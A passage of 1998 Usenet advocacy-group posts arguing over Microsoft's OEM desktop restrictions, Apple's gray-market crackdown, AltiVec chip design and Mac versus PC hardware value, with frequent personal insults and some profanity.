>>to annoy, and your absolute lack of purposeful statements and arguments
>>aside from your constant Microsoft apologists defensiveness, embodied
>>primarily by the kind of verbal diarrhea you have provided here.
>>Unfortunately, I'll have to make do with an occasional foray into
>>Microsoftee baiting such as this response.
>
>Translation: I have no way to back up what I say, so I'll wave my
>hands * real hard * and hope no one notices...
I'll tell you what, Rog. You go get isolated facts and quotes and
references, and put them in your brain and let them cook, and I'll just
use the fifteen years of experience I have dealing with the specific
issues that I discuss, and we'll see who's who, OK? Reality backs me
up, I have yet to see much of it from your end; just mindless
contentions that Microsoft is Doing A Good Job.
Forgive me for getting emotional satisfaction from saying you are
getting nowhere. I think most people reading our posts have a pretty
good idea what I'm doing here on Usenet. And I bet they have some ideas
on you, too. How confident are you in your cyber-image? ;-)
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 02 Jun 1998 02:26:08 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35775fc2.10295454@news.supernews.com>
References: <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <356f8bcf.2366573@news.supernews.com> <6kkgab$e0l$12@gte2.gte.net> <3577870d.83503862@news.supernews.com> <6kv3in$an9$2@gte1.gte.net>
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rfelts@. (Roger), on Mon, 01 Jun 1998 20:48:49 GMT,
>On Sun, 31 May 1998 17:54:07 GMT, someone claiming to be T. Max Devlin
>wrote:
>
>>rfelts@. (Roger), on Thu, 28 May 1998 20:15:12 GMT,
>
>>You don't actually try to sell and support computers for a living, do
>>you Roger? "All it would take" and "easy" are the way people who don't
>>program typically think programming works.
>
>Matter of fact, I do. Which specifically of the things that have been
>discussed as useful for this batch to do, do you claim it cannot?
>
>Seems to me this sounds like someone thinking with out source code,
>nothing is possible.
Work reliably on millions of computers without fail under unknown
install conditions with an indeterminate number of arbitrarily coded
applications, that's what I don't expect a batch file to do, and except
for Microsoft's ludicrously steep market-entry obstacles, there is no
reason at all why you should do it. If you actually had to make a
living selling and supporting computers, I doubt you would be so happy
with this idea. Oh, I see, I imagine that you plan to just accept the
Microsoft defaults, so it doesn't bother you. Oddly enough, it won't
bother other OEMs. And it's not going to bother the customer's either,
because they don't know any other way than to be forced to carry
Microsoft ludicrous marketing crap on their backs for the "privilege" of
running a _Microsoft_ PC.
If you think this is a simple matter of writing a batch file, you sure
as hell won't stay in business very long, I would wager. Being blind to
a competitor's strategy (Microsoft is _everybody's_ competitor) when you
know they have a habit of clearing out the competition isn't really the
way to make a living as an entrepreneur.
>
>>>>Says Microsoft? What exactly does the gov't ask for? I hardly think it
>>>>is as general as "Microsoft give up its right to display the Windows
>>>>user interface when consumers turn on a new PC running Windows for the
>>>>first time."
>>>
>>>If the OEM is allowed to arbitrarily change the state of the desktop,
>>>there is nothing in the standard OEM contract to prohibit them from
>>>installing any other shell.
>>
>>And that's a bad thing? I mean, for anyone but Microsoft? Why should I
>>care? If Microsoft is trying to compete in an industry where arbitrary
>>changes are not only possible but encouraged (innovations don't come
>>about if you can't change anything), why should they care? It couldn't
>>be because Microsoft's overwhelming market dominance is based purely on
>>marketing, and has absolutely nothing to do with their code, would it?
>
>Never said it was a Bad Thing (t.m.) Was explaining why MS might
>think it was.
Anybody with the brains to click a mouse knows why MS might think it was
a bad thing. It might allow somebody access to the market, and cost MS
its monopoly.
>
>>Microsoft actually has the gall to complain because a computer
>>manufacturer wants _their_ name associated with _their_ products over
>>and above Microsoft? And this is OK, because Microsoft needs that kind
>>of leverage to stay in control of the market? What the hell is the
>>_logic_ here?
>
>It's not logic, it's marketing <g>
That kind of response might make sense if you weren't defending it. Why
do you so happily participate in the destruction of our society through
greed? Why do you treat so cavalierly the concept of business ethics?
Why aren't you concerned that the most important and technical product
available in a consumer market is marketed with smoke and mirrors? What
gives?
>
>>>Note that I do not think that this would be a bad thing.
>>>
>>>Also note that Gateway, with the Blessing of Bill <g>, will be doing
>>>this on their new boxes.
>>
>>These last two statements, taken together, are what cause me to think of
>>you as a "Microsoft apologist". If you don't think OEMs installing
>>other shells is a bad thing, then how can you think Windows is a
>>functional operating system, considering you can't do that? The
>>arraignment with Gateway has nothing to do with alternate shells....
>
>Can't do what -- install alternate shells? You can. That was one of
>my points. It is both technically possible and something that MS will
>allow.
THERE ARE NO ALTERNATE SHELLS! Windows doesn't _have_ "shells". Are
saying I can write a new GUI? But of course I can do that, too, without
source code, huh? What "alternate shells" are available for Windows?
>
>>No, wait! You can't actually be trying to use the word "shell" in place
>>of "web browser", can you? Sorry, Roger, unilateral changes of
>>nomenclature don't really have a part in the science of computing.
>>Think up a real argument, take another number, and get in the back of
>>the line. We'll call you when we're ready.
>
>No, I meant shell. When I mean browser, rest assured I will say
>browser.
Maybe you mean "desktop". Only there's only one desktop in Windows,
too. Maybe you mean "arrange the icons on my desktop"? Tell me you
didn't mean that.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OPERATION "starlight"
Date: 2 Jun 1998 02:41:16 GMT
Message-ID: <6kvooc$4bb$1@newsfep2.sprintmail.com>
References: <6kv7mg$p34$1@newsfep3.sprintmail.com> <joe.ragosta-0106981945120001@elk50.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-0106981945120001@elk50.dol.net> Joe Ragosta wrote:
> In article <6kv7mg$p34$1@newsfep3.sprintmail.com>, macghod@concentric.net
wrote:
>
> > A MacInTouch reader quotes an Apple executive on the new "Searchlight"
> > program we noted previously: "We're going to find one or two of these
gray
> > marketers, drag them through the courts and make it public. We're going
to
> > fry them."
> >
> > Ummm, Apple, maybe your lawyers were too busy harrasing web sites with
> > rhapsody and allegro screenshots to notice, but the supreme court has
already
> > ruled on grey market reselling.
> > They specifically ruled that grey market items dont violate the copyright
of
> > the product holder.
>
> And how do you know that Apple's going after them for copyright issues?
> The actual charge wasn't clear from the Macintouch blurb.
First of all Joe, a company, I believe a maker of shampoo, sold shampoo to
new markets for a lower price than in the us, like half the price. Suppliers
got grey market shampoo's and sold them in the US, so the company sued. They
lost. What difference does it make if its copyright issues, reselling grey
market items has already gone all the way to the supreme court and the
companies have been told they have NO REMEDY.
Second, from macnn.com:
Our sources also tell us that Apple has started a Searchlight Program to
address the grey market ("to curtail the sale of Apple products by
unauthorized resellers"):
"The program is designed to encourage authorized resellers to provide Apple
with information about unauthorized sales. The program will also put
unauthorized resellers on notice that Apple may take legal action against any
party that infringes on Apple's copyright or trademark rights, and against
any unauthorized reseller who induces authorized resellers to breach their
contracts by selling to them."
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 02 Jun 1998 02:34:01 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35796339.11182092@news.supernews.com>
References: <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk> <35779ed6.7238238@news.supernews.com> <6kkg8n$2h7$1@gte1.gte.net> <35788a6a.84365222@news.supernews.com> <6kv8d9$hkj$1@gte1.gte.net>
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rfelts@. (Roger), on Mon, 01 Jun 1998 22:11:28 GMT,
>On Sun, 31 May 1998 17:54:09 GMT, someone claiming to be T. Max Devlin
>wrote:
>
>>rfelts@. (Roger), on Thu, 28 May 1998 20:22:43 GMT,
>
>>On the other hand, when the claim is not extraordinary, such as if I
>>were to suggest that Microsoft application programmers have access to
>>information and interaction with the operating system much greater than
>>available to most app developers, or if you were to say that Microsoft
>>was the first operating system to use a Registry (or any other technical
>>point, which I don't recall you ever even remotely approximating, your
>>messages generally being devoid of technical content aside from legal
>>technicalities), then it is commonly assumed that a response of "prove
>>it" is simply a lack of any response at all. If I have to prove to you
>>that Microsoft has ever acted unethically every time we discuss their
>>newest unethical behavior, I cease to have any need to discuss anything
>>with you, though you may still provide entertainment as a flame target.
>
>But have you ever responded to any technical issue I have raised? And
>because you find a particular statement reasonable does not mean that
>it is. After all you find is reasonable to vent you spleen on folks
>that have done nothing more than question you assertions. Point to a
>time when I have done the equivalent of asking that you "prove to you
>that Microsoft has ever acted unethically * every time * we discuss
>their newest unethical behavior," (emphasis mine) or even * anytime *,
>except when I repeat a request for information that has not been
>fulfilled, in response to the same claim being made again?
>
[Shaking his head sadly, T. Max Devlin slowly walks away...]
>>>>Or maybe you're just a Department of Justice lawyer looking for ideas.
>>>>If you needed help, Dave, you could have just asked. I'll be happy to
>>>>provide some consulting and investigation to "substantiate your
>>>>argument. Give examples, technical references, whatever. Please explain
>>>>to me why, despite the integration level, Netscape can't simply
>>>>implement the same documented interfaces and replace the pointers in the
>>>>Registry". For a fee.
>
>>>Okay, lets agree on a figure. But when you can't, you agree to pay me
>>>a like amount, 'kay?
>
>>Sure. How about $100,000? All I have to do is provide a documented
>>example of Microsoft app developers having greater access to OS
>>developments, or explain why Netscape couldn't revise their entire code
>>base to account for Microsoft's brand-new/designed-for-IE interfaces and
>>still remain competitively profitable? Are you sure you know what
>>you're getting in to here, Roger?
>>
>>If I accept this engagement, will you give me your real email address?
>
>No. What you have to prove is your claim that (from message
>35779ed6.7238238@news.supernews.com ) where this challenge originated:
>
>"Netscape can't simply implement the same documented interfaces and
>replace the pointers in the Registry"
>
>Not won't. Not don't want to. Not be difficult to support.
>
>* Can't *
>
>As in technically impossible.
>
>Yes, I know what I'm getting into. That's why I suggest that the
>challenge officially be considered offered and taken when we each
>supply our challenge committee (three members appointed by each of us,
>at least one from each a regular poster to these groups) proof that
>the fee has been deposited in escrow. Said committee to review your
>proof and my rebuttal of same and determine which has the more
>technical merit (of course, we'll also post it here, and see what
>comments might be generated.) Said determination indicated by a
>two-thirds majority of the committee. And any additional conditions
>(above what you and I agree to in the next couple of exchanges here)
>also to be considered binding upon a two-thirds majority vote.
>
>Are * you * still game?
Hell no, what are you, some kind of flake? You can't prove a negative,
Roger. Stop wasting my time asking me for proof of things that can't be
done. I rely on my technical experience and competence, and from our
discussions, I must assume that it is greater than yours. But oooh, you
sure got me here. You are some kind of genius....
If I thought it was a good investment, I stick $100K in escrow to have
you completely replace IE in Win98 with Netscape, but Microsoft would
never let us market it...
[phoning it in, because even Roger isn't stupid enough to think that
anything can be proven "technically impossible" in _software_,
ferchristsakes]
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Tue, 02 Jun 1998 00:05:55 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0206980005550001@132.236.171.104>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <6kiogb$9dn$1@newsfep1.sprintmail.com> <gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net> <01bd8abf$840441a0$0b0ba8c0@woohoo> <cirby-2905981502440001@pm61-26.magicnet.net> <joe.ragosta-3005980934020001@elk73.dol.net> <01bd8c68$bb0200c0$0b0ba8c0@woohoo>
In article <01bd8c68$bb0200c0$0b0ba8c0@woohoo>, "Earl Malmrose"
<malmrose@nospam.jetcity.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote in article
> <joe.ragosta-3005980934020001@elk73.dol.net>...
> >
> > POVRay appears to be a lousy benchmark.
> >
> > They have a Pentium 75 (Packard Bell) running at the same speed as a
> > PII/233. Sort of raises a question as to the benchmark's validity.
>
> Which is why I don't trust other people's numbers, unless they jive with my
> numbers after I've done the tests myself.
So suppose the PPC version was compiled with CodeWarrior...
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
It is difficult for COM to guarantee the integrity of the registry. Today,
the integrity of the registry decays as users install, uninstall, and
upgrade applications and components until finally the user is forced to
reinstall the operating system and all applications.
-Don Box, Microsoft Systems Journal (July 1998)
From: handleym@ricochet.net (Maynard Handley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Mon, 01 Jun 1998 22:21:23 -0700
Organization: Me and no-one else
Message-ID: <handleym-0106982221230001@handma.apple.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu> <3566CEAC.EC53C221@nstar.net> <rmcassid-2505982311390001@dialin9062.slip.uci.edu> <356AD3B0.5FA67D27@nstar.net> <christian.bau-2805980957090001@christian-mac.isltd.insignia.com> <joe.ragosta-2905982237250001@elk64.dol.net>
In article <joe.ragosta-2905982237250001@elk64.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article
> <christian.bau-2805980957090001@christian-mac.isltd.insignia.com>,
> christian.bau@isltd.insignia.com (Christian Bau) wrote:
>
> > >> Well, a single Intel i740 3D chip is something like $50, I think. A
> > > single 300 MHz AltiVec G4 CPU would be, what? $800?
> >
> > Altivec seems to be just one more G3 chip. Go to the Motorola page and
> > read the Altivec manual very carefully. The changes to the chip are
> > absolutely minimal. I dont think it will be any more expensive than the
> > 750. And as they wont come this year, I dont think you will ever have one
> > running at less than 400 MHz.
>
> This would surprise me. There are a lot of new instructions in AltiVec. I
> read that it took up a lot of chip area and that it would probably have a
> slower clock speed than a same-generation G3 without AltiVec.
>
Taking up chip area is correct---the space is not free, and the cost of
CPUs is an exponential function of area. On the other hand 750's are
pretty small right now, and will get smaller in the next die shrink.
Clock speed is not so much an issue. The AltiVec unit was designed to have
pretty much no interaction with the rest of the system. It cannot generate
exceptions and does not affect any shared state except for the very rare
cases where one would use an altivec compare that sets the cr2 register.
This means that its speed is somewhat decoupled from the rest of the CPU.
If it turns out that the entire CPU could run at 600MHz, but running the
AltiVec ALU is holding things back at 450MHz, there's no reason the
AltiVec ALU can't be pipelined to take two cpu cycles.
However it's not clear that the AltiVec ALU will be the bottleneck. On
current CPUs that try to perform a load with 2 cycle latency, the cache
load is pretty much the limit for the clock speed. This is so tight the
next generation of CPUs (not just PPC but everyone) will probably switch
to a 3 cycle latency load in the next generation (yeah, that sucks, I
know).
As a consequence of that extra latency and to try to mask it, the next
generation of CPUs will also want to be somewhat more aggressive in terms
of how out-of-order the execution units operate. The various checks that
are needed to handle OO execution (along with the integer register file IO
delays caused by the needed additional rename registers) will probably
make either dispatch or the integer execution unit the new bottlenecks.
Maynard
--
My opinion only
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Tue, 02 Jun 1998 00:01:15 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0206980001150001@132.236.171.104>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au> <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net> <6kn19b$n3u$1@bunyip.cc.uq.edu.au> <gmgraves-3005981259430001@sf-usr1-3-131.dialup.slip.net> <6kqul1$hm0$1@bunyip.cc.uq.edu.au> <joe.ragosta-3105980901070001@elk52.dol.net> <6krloo$au9$1@bunyip.cc.uq.edu.au>
In article <6krloo$au9$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> And pretty much irrelevant in a desktop system.
Just a frivolous and somewhat off-topic comment...
Earlier today I was using the system configuration page on APC's web site
to find out what sort of UPS they suggested for my system. It attempts to
estimate the power consumption of your computer and choose a UPS that can
give you the uptime you need in the event of a power failure. They draw a
distinction between G3 Macs and other Macs because the G3 uses less power.
I should have checked to see what distinctions they draw among Intel chips.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
It is difficult for COM to guarantee the integrity of the registry. Today,
the integrity of the registry decays as users install, uninstall, and
upgrade applications and components until finally the user is forced to
reinstall the operating system and all applications.
-Don Box, Microsoft Systems Journal (July 1998)
From: douglas@spridle.city-net.com (G. Douglas Davidson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTSTEP/OpenStep on SGI?
Date: 2 Jun 1998 03:06:35 GMT
Organization: CityNet, Inc.
Message-ID: <6kvq7r$aqa$2@dns.city-net.com>
References: <35727C13.1BDDD2CD@student.uni-halle.de> <357260F4.46DD@earthlink.net>
In article <357260F4.46DD@earthlink.net>, Steve Kellener <skellener@earthlink.net> writes:
> rene limberger wrote:
> > I am totaly new to next.
> > Is next/openstep available for sgi hardware?
>
> NO.
You might want to take a look at WindowMaker, if you are basically interested
in the "look". Try www.windowmaker.org. It looks pretty cool and works on
SGIs. Also, you might want to check out the GNOME project at www.gnome.org.
While it is just starting, it seems to be gathering a considerable amount
of momentum. While GNOME is a bit difficult to explain (for me anyway) it
is a set a rules that GNOME aware apps can follow to work together in a
cool fashion. Also you might want to check out www.gnustep.org, which is
an attempt at providing a freely available OpenStep environment. I believe
that WindowMaker is their "blessed" windowmanager.
Hope this helps!
--
-----
G Douglas Davidson | CityNet, Inc.
douglas@city-net.com | Pittsburgh, PA
voice: 412.481.5406 | fax: 412.431.1315
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 02 Jun 1998 05:54:29 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35739395.42CCE64B@nstar.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 2 Jun 1998 05:59:32 GMT
Salvatore Denaro wrote:
>
> On Mon, 01 Jun 1998 21:41:50 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
> >Salvatore Denaro wrote:
> >> Apple is not a "no-name" cloner that competes totally on price.
> >You're butting right up against my point: Apple's quality may be on the
> >high level of hardware, but even when compared to similar-quality
> >hardware in the PC market, it falls short in price. In fact, many Apple
>
> By how much? When you compare major name brand PCs to Macs in price, the
> prices are not that far off. 5% to 10%.
>
> Do I think Apple should lower prices? Yes. Do I think they should lower
> quality? Hell no!
You're missing the point. I'm talking about an overall quality
*improvement*.
[cut]
> I has a DeLL machine that I swapped up from p-133 to AMD-k6 without any
> problems. I also added an internal Zip drive and added a PCI video card
> to replace the built in video. It probly cost $200 to $250 more than the
> Quantex, but I think it was worth it just to know that I can expand it
> and not have to worry about the power supply failing. Why include all
> those bays and slots it the PS can't handle it?
Hmm, I could be wrong, but probably because it's easier to spend $27 for
a 250W power supply upgrade than it is to cut new holes in the case.
Just my opinion on the matter. I know it's always been Apple's opinion
that you can make more money by selling an expensive and unnecessary
power supply with an underendowed case, because it just means you can
get people to buy a brand-new machine that much sooner, and make better
margins on the original product.
Wait, where's everybody going? What do you want with those shitty PCs?
Come back, DON'T YOU KNOW ANYTHING ABOUT QUALITY?
Aw, fuck 'em, we don't need 'em anyway. We're Apple! We bad!
> >All you have to do is look inside the machine. You don't have to pay
> >more to "know" this. You have the right to ask your salesperson to open
> >the machine; they'll do it if you insist.
>
> Sure. And this will cut a bunch of low quality machines out of the
> running.
Ever go grocery shopping?
> >> 3) The on board "soundblaster combatible" sound works
> >Simple; buy a machine with a brand-name card. It's not hard to know the
>
> For a few dollars more.
I bought an ESS 1869 plug-n-play sound card from an aftermarket dealer
for fifteen dollars. I paid for it with change out of my pocket,
literally. It works *flawlessly*.
I replaced a Creative Labs Sound Blaster 16 PnP with the ESS 1869 after
I bought it. When I brought up Linux, it literally required *zero*
configuration changes. The card just worked, period. I never changed a
thing in software.
> Long story. We had a network package that runs from DOS that required
> an ne2k card. Some are more ne2k than others.
Too bad. I know this story. And yes, you're right; the NE2000
compatibility issue is a miserable ordeal to endure.
> >This is the mysticism perpetuated by the crappy manufacturers you're
> >describing, yes, but it is totally unnecessary. If you simply identify
>
> Isn't it worth the extra QA to know that this isn't going to happen?
QA is a separate issue from quality of hardware. I can build a machine
with maximum due diligence from complete junk, and maximize your return
on investment, as my customer. I could also build a machine from
wonderful, expensive, high-end software and apply a sloppy work ethic,
producing a piece of junk.
Apple's problem is more of the latter type, in my experiential opinion.
> >1) Don't buy a "sound card". Buy a "Diamond Multimedia M80" or buy a
> >"Sound Blaster AWE 64 Gold" or buy a "Guillemot MaxiSound Home Theater
>
> Ca-ching!
So you say. Diamond M80 for $80, less for a wholesaler. Support for both
major 3D sound APIs, PCI interface, robust onboard memory, voice,
synthesizer, and mixing support. Average 3% CPU utilization during full
operation. That's called *value*, and that's *not* what Apple delivers.
> >2) Don't buy a "100 Mbps ethernet card", buy an "Intel EtherExpress Pro
> >10/100+" or buy a "3Com 3C905 Vortex", buy whatever, but *don't* buy an
> >"ethernet card".
>
> Ca-ching!
DataComm Warehouse, $50. Again, for a wholesaler, maybe $35 in lots of
100.
> >I know you're going to say "name brand costs more", but you're thinking
> >of hundreds of dollars while I'm talking about literally five and ten
> >dollars here and there. Believe it or not, you can buy cheap pieces of
> ----^^^^^^^^^^^^^^^^^
>
> It addes up.
>
> Sound card: $ 20
> net work card: $ 20
> Video: $ 20
> better monitor : $50
> Bigger PS: $ 20
> ...
>
> That ends up adding 5% or 10% to the price.
You're missing the point: Apple doesn't put such things in its machines,
Salvatore! It charges a premium without delivering the quality I'm
describing. I'm telling you how to build a *better* PC than most Macs.
By the way, throw in $20 for the premium on a good SCSI solution.
> >Not to mention the fact that using commodity PC components would save
> >money, instead of building its own ATI-based solutions. Why does Apple
>
> They are moving to AGP. Replacing ADB and Mac rs422 with USB. I think
> Steve is way ahead of you in this area.
Heh, heh. He's ahead of me. I have USB on my 18-month-old VX
motherboard.
> [list of horrors clipped]
>
> >Most of these mean nothing to me, because I build my own. If I have a
>
> What about the 99.99% of users that don't?
Buy from a company with good QA. Hint: it's not Apple Computer.
> >buy either). Again, I don't pay any significant premium for the quality
>
> Define "significant" 10%? 1%?
You don't understand. I build my own; I pay *less* than a crappy Packard
Bell costs, but I get a Black Velveteen \ Oh what a bad machine... (with
regards to Lenny Kravitz)
> I'd like to see prices. Where can you get
> a quality mouse for $10?
First Saturday sale, here in Dallas, for instance. Or the DFWXChange
sale at the Informart building every month. You even get a
manufacturer's warranty. I found a Logitech Wingman Digital Extreme
Joystick for $27 at the DFWXChange last month (this is brand-new, boxed,
manuf. warranty). The Apple Store-Within-a-Store at CompUSA sells them
for something like $75.
You might not be familiar with the grey market. The grey market exists
because there is *so* much commodity PC hardware that OEMs buy in
massive lots, which overstock gets dumped into the hands of small-time
salesmen. PC hardware is often both high-quality *and* cheap because
there is so much of it. It's known as "economies of scale" and it's
something Apple has never understood. "Off the shelf hardware" is no
longer a derisive term. The premiums companies like Apple charge for
their small-run, high R&D stuff are unacceptable and ridiculous in this
day and age. Smaller, more nimble companies (like Newer Technologies, by
the way) are making higher-quality stuff at lower prices because they
know how to leverage the market in their favor.
It seems like people who opposed cloning never understood the realities
of the commodity market, presumably because they never left the premises
of the closed Apple market. It's understandable, but still plainly
wrong. My poor father doesn't understand that he's getting *reamed*
every time he buys some new gadget for his Powerbook.
> Or a "high quality" keyboard for under $20?
I'm typing on a trouble-free $15 keyboard as we speak. I spent $210 on
an Apple Extended ADB Keyboard, once, back in the days when I was a
dyed-in-the-wool Mac fanatic. I'm sure this is the sort of thing that
contributed to the near-total collapse of my respect for Apple's method
of business.
> I think you *HAVE* to pay more for better quality.
It depends on your alternatives. I just don't think you realize what the
alternatives are.
> I have never found
> that to not be the case. Basic economics is on my side.
That's because you've leveraged the argument in exactly the same way
Apple fans have always done: isolate to a single variable (level of
quality). This totally ignores the larger complexities involved,
including the economies-of-scale argument. It is factually provable that
higher-quality PC hardware is available for lower prices than for those
of "high-quality" Apple solutions.
Not to mention the fact that when you buy from Apple, you're stuck to
their definition of "high quality", and you have to buy it. When I
advise new PC buyers, I tell them to decide what's worth spending on,
and what's worth saving on. I don't know anybody who needs high quality
*everything*. Lots of people I know spend money on a reliable and fast
disk, a good video subsystem, and dependable networking, and couldn't
give a rat's ass what the mouse, keyboard, case, floppy drive, and sound
card are like. Buying a good PC is like getting mother-of-pearl
cufflinks to go with an Armani suit. Buying an Apple system is like
having to buy silk boxers and a gaudy satin undershirt as well, or no
deal.
> If two products
> are the same price, but one is of a higher quality then demand will shift
> and prices along with it.
Again, an oversimplified linear system of little practical value, and
zero application to the problem facing Apple.
> QA costs money. Quality assembly costs money.
Then again, spending money doesn't assure good QA. Say cheese, Apple!
> That puts you in a group with 10+ million members. Welcome to the club :)
Thanks. May it not be the short-lived membership I fear it inevitably
must.
> Not going to happen. (And I don't see the point, since Apple isn't
> going to open up "zero-royalty-cloning" after killing cloning once
> before. That would be nuts.)
So Apple will insist on making its money on a hardware platform to which
it adds little or no value, a platform on which it has already been
shamefully outperformed by the previous cloners. Have you ever heard of
Hewlett-Packard? IBM? Silicon Graphics? Those who do not learn the
lessons of history...doom...repeat...ssshhhhhh...
> CR1 will ship for Intel. I doubt that Carbon will ship for Intel, so
> no MacOSX. As for other plans...
MacOSRumors provides faintly-glimmering hope for an Intel MacOS X.
Personally, I can't help but believe it; I don't know how anyone with a
basic business degree could make such an incredible blunder as to pass
on an Intel port. Then again, Apple made its name on incredible
blunders...
> Carbon? There will be a lot of stuff from the MacOS and NeXT worlds
> shipping for Rhapsody/MacOSX
Written for Carbon, then. Which makes the whole NeXT acquisition rather
pointless. Let's move this discussion back to comp.sys.mac.advocacy,
shall we? That's where this whole thing is headed, anyway... :-(
If it took Steve Jobs to come up with the MacOS X strategy, Apple may as
well have hired him as a consultant for $20 million instead of shelling
out gobs of cashola for technology it was going to dump anyway. More
bullets for promising solutions. Hip hip hooray.
> > a *free* developer program, and
>
> gcc? CodeWarrior Lite for YB?
Uhhh, no.
> >other minor "faith gesture" items like an X server
>
> I would like to see a "goodies" CD with stuff like this, but it will
> be 3rd party stuff and not from Apple.
Wrong. I'm not interested. Sorry, see ya later, Apple.
> >and good online
> >documentation.
>
> It has *very* good online docs in PDF format. And on the web site.
Heh, PDF. Whoohoo. I just love playing with my wristwatch while I wait
for anti-aliased text to render along with a bunch of over-illuminated
documentation created by an overpaid technical writer.
Do yourself a favor and look in to DOC++ or Doxygen or some other
automatic documentation generator. Or just pick up a copy of Qt and look
at the HTML docs. That's what I'm talking about. I mean, I honestly
tried using the PDF versions of Inside Macintosh and the NeXT docs for a
